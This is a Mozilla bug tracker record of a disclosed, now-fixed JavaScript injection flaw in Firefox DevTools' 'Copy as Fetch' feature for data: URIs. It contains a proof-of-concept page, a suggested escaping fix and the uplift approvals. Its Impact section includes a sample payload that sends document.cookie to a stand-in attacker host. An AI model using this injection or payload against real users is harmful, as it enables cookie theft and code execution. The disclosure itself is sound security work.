Closed Bug 2021695 (CVE-2026-4717) Opened 7 months ago Closed 7 months ago

JavaScript injection via DevTools "Copy as Fetch" / "Use as Fetch in Console" with data: URIs

Categories

(DevTools :: Netmonitor, defect, P2)

defect

Tracking

(firefox-esr115 wontfix, firefox-esr140149+ fixed, firefox148 wontfix, firefox149+ fixed, firefox150+ fixed)

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: t.satoki111, Assigned: bomsy)

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])

Attachments

(1 file, 3 external files, 1 obsolete file)

3.56 KB, text/html
Details
Attached file poc.html —

Summary

The DevTools Network Monitor "Copy as Fetch" and "Use as Fetch in Console" features generate JavaScript code by interpolating the request URL directly into a string literal without any escaping. Since data: URIs are non-special URL schemes under the WHATWG URL Standard, double-quote characters (", U+0022) in their opaque path are NOT percent-encoded. An attacker-controlled data: URI can therefore break out of the string literal and inject arbitrary JavaScript that executes when the user pastes and runs the copied code.

Affected Component

  • File: devtools/client/netmonitor/src/widgets/RequestListContextMenu.js
  • Line: 749
const fetchString = `await fetch("${url}", ${options});`;

The url variable is interpolated with zero escaping. Compare with:

  • "Copy as cURL" which uses escapeStringPosix() / escapeStringWin() (in devtools/client/shared/curl.js)
  • "Copy as PowerShell" which uses escapeStr() (in devtools/client/netmonitor/src/utils/powershell.js)

"Copy as Fetch" is the only copy function without any escaping.

Root Cause

  1. No escaping on URL: generateFetchString() interpolates the URL directly into a JavaScript double-quoted string literal ("${url}"). JavaScript-special characters such as ", \, newlines are not escaped.

  2. data: URI percent-encoding: Under the WHATWG URL Standard, data: is a non-special scheme. Its opaque path is encoded using only the C0 control percent-encode set (U+0000 to U+001F and U+007F and above). The double-quote character " (U+0022) is NOT in this set, so it is not percent-encoded.

    • Relevant source: third_party/rust/url/src/parser.rs — parse_cannot_be_a_base_path()
    • Percent-encode set: third_party/rust/url/src/percent_encoding.rs — CONTROLS
  3. No scheme filtering: The "Copy as Fetch" menu item has no scheme-based filtering (visible: !!clickedRequest only), so data: URI requests are eligible for the copy action.

Steps to Reproduce

Step 1: Visit attacker's page with DevTools open

Open the following HTML file (or host it on a server) and open DevTools (F12) → Network tab:

<!DOCTYPE html>
<html>
<head><title>PoC - Copy as Fetch Injection</title></head>
<body>
<h1>PoC: Copy as Fetch JS Injection</h1>
<p>Open DevTools (F12) → Network tab, then click the button.</p>
<button onclick="sendPayload()">Send payload</button>
<script>
function sendPayload() {
  fetch('data:text/html,"+alert(document.domain)+"');
}
</script>
</body>
</html>

Step 2: Copy as Fetch

In the Network Monitor, right-click the data:text/html,... request → Copy → Copy as Fetch.

Step 3: Paste into any page's console

Navigate to any other page (e.g., https://example.com), open its Web Console, and paste the copied code.

Expected Result

The generated code should be a valid fetch() call that reproduces the original request:

await fetch("data:text/html,\"+alert(document.domain)+\"", {
    "credentials": "omit",
    "headers": {},
    "body": null,
    "method": "GET",
    "mode": "cors"
});

(Double quotes in the URL should be escaped as \")

Actual Result

The generated code contains unescaped double quotes from the URL, breaking the string literal:

await fetch("data:text/html,"+alert(document.domain)+"", {
    "credentials": "omit",
    "headers": {},
    "body": null,
    "method": "GET",
    "mode": "cors"
});

The JavaScript parser interprets this as:

  1. "data:text/html," — string literal
  2. + alert(document.domain) + — arbitrary code execution!
  3. "" — empty string literal
  4. , { ... } — second argument to fetch()

The expression is syntactically valid JavaScript. alert(document.domain) executes as a side effect.

Impact

  • Cross-Site Scripting (XSS): Injected code executes in the context of whatever page the user pastes the code into
  • Credential theft: Payloads such as fetch('//attacker.com/?c='+document.cookie) can exfiltrate cookies and tokens
  • Privileged code execution: If the user pastes into the Browser Console, injected code runs with chrome (system) privileges

User interaction required

  1. Visit attacker's page with DevTools Network Monitor open
  2. Right-click the request → "Copy as Fetch"
  3. Paste into another page's console and execute

For "Use as Fetch in Console", the code is auto-filled into the console input — the user only needs to press Enter (though it executes in the same page's context).

Additional bug: referrerPolicy handled incorrectly

In the same function, referrerPolicy is set to the full header object instead of just its .value string:

// Line 727-729: returns {name: "Referrer-Policy", value: "no-referrer"} instead of "no-referrer"
const referrerPolicy = requestHeaders.headers.find(
  ({ name }) => name.toLowerCase() === "referrer-policy"
);

// Compare: referrer correctly extracts .value
const referrer = referrerHeader ? referrerHeader.value : undefined;

This causes the generated fetch code to have an object instead of a string for referrerPolicy, making the generated code functionally incorrect.

Suggested Fix

Escape the URL before interpolation into the JavaScript string literal:

// Option 1: Manual escaping
function escapeJSString(str) {
  return str
    .replace(/\\/g, '\\\\')
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r');
}
const fetchString = `await fetch("${escapeJSString(url)}", ${options});`;

// Option 2: Use JSON.stringify (simplest and most robust)
const fetchString = `await fetch(${JSON.stringify(url)}, ${options});`;

Also fix the referrerPolicy extraction:

// Before:
const referrerPolicy = requestHeaders.headers.find(...);

// After:
const referrerPolicyHeader = requestHeaders.headers.find(
  ({ name }) => name.toLowerCase() === "referrer-policy"
);
const referrerPolicy = referrerPolicyHeader ? referrerPolicyHeader.value : undefined;

Affected Versions

This vulnerability exists in the current mozilla-central trunk and has likely been present since the "Copy as Fetch" feature was introduced.

Flags: sec-bounty?
Component: Security → General
Product: Firefox → DevTools
Component: General → Netmonitor
Attached file (secure) —
Assignee: nobody → hmanilla
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Attached file (secure) (obsolete) —
Severity: -- → S3
Priority: -- → P2

Comment on attachment 9551768 [details]
(secure)

Revision D287082 was moved to bug 2022907. Setting attachment 9551768 [details] to obsolete.

Attachment #9551768 - Attachment is obsolete: true
Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(hmanilla)

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: This impact devtools users. Devtools can generated fetch commands which can compromise the Users computer, if run.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Small JavaScript fix.
  • String changes made/needed?: None
  • Is Android affected?: no
Attachment #9553427 - Flags: approval-mozilla-beta?

firefox-esr140 Uplift Approval Request

  • User impact if declined/Reason for urgency: This impact devtools users. Devtools can generated fetch commands which can compromise the Users computer, if run.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Small JavaScript fix.
  • String changes made/needed?: None
  • Is Android affected?: no
Attachment #9553428 - Flags: approval-mozilla-esr140?
Flags: needinfo?(hmanilla)
Flags: in-testsuite+
Attachment #9553427 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+]
Attachment #9553428 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Alias: CVE-2026-4717
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: